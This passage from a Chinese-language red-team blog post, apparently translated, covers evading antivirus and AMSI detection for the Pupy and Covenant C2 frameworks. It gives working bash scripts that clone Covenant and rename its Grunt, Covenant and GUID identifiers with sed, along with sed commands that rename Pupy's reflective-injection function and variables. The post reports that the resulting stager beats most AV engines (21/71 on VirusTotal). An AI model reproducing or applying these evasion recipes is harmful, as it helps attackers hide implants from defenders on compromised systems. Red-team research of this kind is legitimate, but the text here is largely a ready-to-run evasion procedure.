更改这些触发器会产生其他新的触发器,AMSITrigger 最近更新了,因此你现在可以通过参数选择 chunk 大小和最大签名大小值。你可以使用这些参数去找所有手动修改的触发器:

将生成的 AMSI-Clean 脚本复制到相应的 Pupy 位置,然后在 Pupy 主文件夹中运行以下命令以逃避检测:

find ./ -type f -print0 | xargs -0 sed -i "s/Invoke-ReflectivePEInjection/PE-Reflect/g"
find ./ -type f -print0 | xargs -0 sed -i "s/\$PEBytes/\$PupBytes/g"
find ./ -type f -print0 | xargs -0 sed -i "s/\$code/\$script/g"
find ./ -type f -print0 | xargs -0 sed -i "s/\$data/\$encrypted/g"

编写本文这段时间内,在没有修补 Amsi.dll 的情况下,此方法应该能绕过大多数 AV 厂商的产品。

逃避 AV 检测的更简单方法是将 AMSI-Bypass 放在 Stage1 脚本的第一行:

每个模块都能让 Pupy 绕过 AMSI,因为都在同一进程中加载,因此只需其中之一就足够了。

4 Covenant

Covenant 是一个非常直观的 C2-Framework,可在 board 与最重要的 C2-模块一起使用。我现在在 RTO 实验室中使用了大约 2 个月,对此 C2-Framework 有很多感想。它提供的好处如下:

  • 直观,有易于操作的 GUI;
  • 在某些情况下,对 GUI 中有关代码部分的修改,针对 Stagers 和 Executor 的修改以及可以轻松集成新插件的选项均会有所帮助;
  • 可在内存中执行 C# 代码以及运用了 Powerpick 技术的 Powershell 脚本加载能够让 Covenant 可以使用几乎所有相关的开源 Red-Team 工具;

但是,我错过了功能强大的 Port-Forwarding 选项以及 socks-proxy 模块,这在几种关键情况下都是必需的。在某些情况下,我还经历了整个框架的崩溃,有时只能通过删除整个数据库文件并重新启动框架来解决。这些问题有待解决,所以我希望它们能尽快解决,以确保操作顺利。

Covenant 可以选择生成多个不同的 stagers。 如果你已经知道 Covenant 并想知道 Otto 而不是 Grunt,请继续阅读。

主要的 stagers 包括 InstallUtil-Execution,MSBuild 和 Powershell-Stagers 以及由 donut 生成的 Shellcode 或 .NET 二进制文件。对于旧版 Windows 系统,可以使用 DotNetToJScript 启动器。

在 GruntHTTP 模板和 GruntSMB 模板中都可以找到与所有 stagers 相关的代码部分,该代码可在 GUI 修改和查看。

就像我之前写的那篇博客文章一样,我选择了字符串替换方式来逃避 AV 的检测。为了不破坏子模块或嵌入资源 (如 DLL 文件) 的任何功能,我们首先必须备份它们:

#!/bin/sh
sudo git clone --recurse-submodules https://github.com/cobbr/Covenant /opt/Covenant

cd /opt/Covenant/Covenant/

mv ./Data/AssemblyReferences/ ../AssemblyReferences/
mv ./Data/ReferenceSourceLibraries/ ../ReferenceSourceLibraries/
mv ./Data/EmbeddedResources/ ../EmbeddedResources/

这次,我考虑要进行尽可能多的更改以便逃避尽可能多的 AV 供应商。Covenant 在代码库中使用的最明显的单词是 GruntCovenant。替换它们需要更改目录名称以及文件的内容,可以通过以下 bash 脚本完成:

#!/bin/sh
mv ./Models/Covenant/ ./Models/EasyPeasy/
mv ./Components/CovenantUsers/ ./Components/EasyPeasyUsers/
mv ./Components/Grunts/ ./Components/Ottos/
mv ./Models/Grunts/ ./Models/Ottos/
mv ./Data/Grunt/GruntBridge/ ./Data/Grunt/OttoBridge/
mv ./Data/Grunt/GruntHTTP/ ./Data/Grunt/OttoHTTP/
mv ./Data/Grunt/GruntSMB/ ./Data/Grunt/OttoSMB/
mv ./Components/GruntTaskings/ ./Components/OttoTaskings/
mv ./Components/GruntTasks/ ./Components/OttoTasks/
mv ./Data/Grunt/ ./Data/Otto/

find ./ -type f -print0 | xargs -0 sed -i "s/Grunt/Otto/g"
find ./ -type f -print0 | xargs -0 sed -i "s/GRUNT/OTTO/g"
find ./ -type f -print0 | xargs -0 sed -i "s/grunt/otto/g"

find ./ -type f -print0 | xargs -0 sed -i "s/Covenant/EasyPeasy/g"
find ./ -type f -print0 | xargs -0 sed -i "s/COVENANT/EASYPEASY/g"

find ./ -type f -name "*Grunt*" | while read FILE ; do
	newfile="$(echo ${FILE} |sed -e "s/Grunt/Otto/g")";
	mv "${FILE}" "${newfile}";
done
find ./ -type f -name "*GRUNT*" | while read FILE ; do
	newfile="$(echo ${FILE} |sed -e "s/GRUNT/OTTO/g")";
	mv "${FILE}" "${newfile}";
done

find ./ -type f -name "*grunt*" | while read FILE ; do
	newfile="$(echo ${FILE} |sed -e "s/grunt/otto/g")";
	mv "${FILE}" "${newfile}";
done

find ./ -type f -name "*Covenant*" | while read FILE ; do
	newfile="$(echo ${FILE} |sed -e "s/Covenant/EasyPeasy/g")";
	mv "${FILE}" "${newfile}";
done

find ./ -type f -name "*COVENANT*" | while read FILE ; do
	newfile="$(echo ${FILE} |sed -e "s/COVENANT/EASYPEASY/g")";
	mv "${FILE}" "${newfile}";
done

通过更改 Grunt 一词,Covenant 中的几个命令也将被重命名。因此,在这种情况下,必须使用 OttoWMI 代替 GruntWMI 进行横向移动。

之后,我看了看 GruntHTTP 以及 GruntSMB 模板,还通过 IlSpy 反编译了 Grunt 可执行文件,以检查是否有必要更改它们。这是一个耗时的反复试验过程,因为我经常通过替换破坏某些功能。它产生了一个单词列表,例如:

Stage0Body
Stage1Body
Stage1Response
Stage2Bytes
ProfileHttp
ExecuteStager

使用 DefenderCheck 扫描 .NET 二进制文件,发现来自 C2-Web 站点源代码的 base64 编码的 User-Agent,base64 编码的 Hello World 以及类似于 Empire Triggers 的 C2-Server 的 URL 被标记。因此,在打开新的侦听器之前生成新的配置文件很重要:

更改所有个人资料信息后,还有一个触发器:

GUID (GrundUserID) 用于 .cs 文件以及 Covenant 的 .razor,.yaml 和 .json 文件。因此,为了避开此触发器,我在所有相应文件中进行了更改:

#!/bin/sh
find ./ -type f -name "*.cs" -print0 | xargs -0 sed -i "s/GUID/ANOTHERID/g"
find ./ -type f -name "*.razor" -print0 | xargs -0 sed -i "s/GUID/ANOTHERID/g"
find ./ -type f -name "*.json" -print0 | xargs -0 sed -i "s/GUID/ANOTHERID/g"
find ./ -type f -name "*.yaml" -print0 | xargs -0 sed -i "s/GUID/ANOTHERID/g"
find ./ -type f -name "*.cs" -print0 | xargs -0 sed -i "s/guid/anotherid/g"
find ./ -type f -name "*.razor" -print0 | xargs -0 sed -i "s/guid/anotherid/g"
find ./ -type f -name "*.json" -print0 | xargs -0 sed -i "s/guid/anotherid/g"
find ./ -type f -name "*.yaml" -print0 | xargs -0 sed -i "s/guid/anotherid/g"

更改所有这些值之后,我们必须取回资源文件和子模块。 之后我们可以建立 Covenant:

mv ../AssemblyReferences/ ./Data/ 
mv ../ReferenceSourceLibraries/ ./Data/ 
mv ../EmbeddedResources/ ./Data/ 

dotnet build

Covenant customize gist

我无法通过字符串替换的方法为 SMBGrunt 更改一个触发器:

为了解决这个问题,我手动添加了一些空的 Console.Writeline(""); 相应行之间的语句:

这不是一个很好的解决方案,但是对于逃避的用例来说就足够了。

顺便说一下,OttoHTTP.exe 登台程序在 Virustotal 上为 21/71 的检测结果,而没有进行进一步的混淆。我认为这是一个非常可靠的结果:

5 结论

在我的第一篇博客文章中,我们看到了手动更改 Red-Team/Penetrationtesting 工具如何逃避 AV 检测。这次,我们发现 C2-Customization 的过程几乎相同。

对于 Empire,我们需要更改 bypass 并使用自定义侦听器选项,以及可选地修改脚本模块源代码。

对于 Pupy,我们只需要创建一个自定义的 Invoke-ReflectivePEInjection.ps1 并修改一些 python 代码,或者添加一个自定义的 AMSI bypass。

对于 Covenant,我们还需要更改侦听器选项和 Launcher 模板源代码的某些部分以进行规避,但是使用字符串替换构建自定义的版本相对更容易。

代码库更改得越多,防御者就越难找到受感染的系统。因此,根据攻击者的不同,通过检测明显的字符串来防御恶意软件无济于事。使用字符串替换,你还可以绕过内存扫描。

我认为逃避 AV 检测就足够了。下一篇博客文章将涵盖不同的主题。

(本文完)

0 条回应

必须 注册 为本站用户, 登录 后才可以发表评论!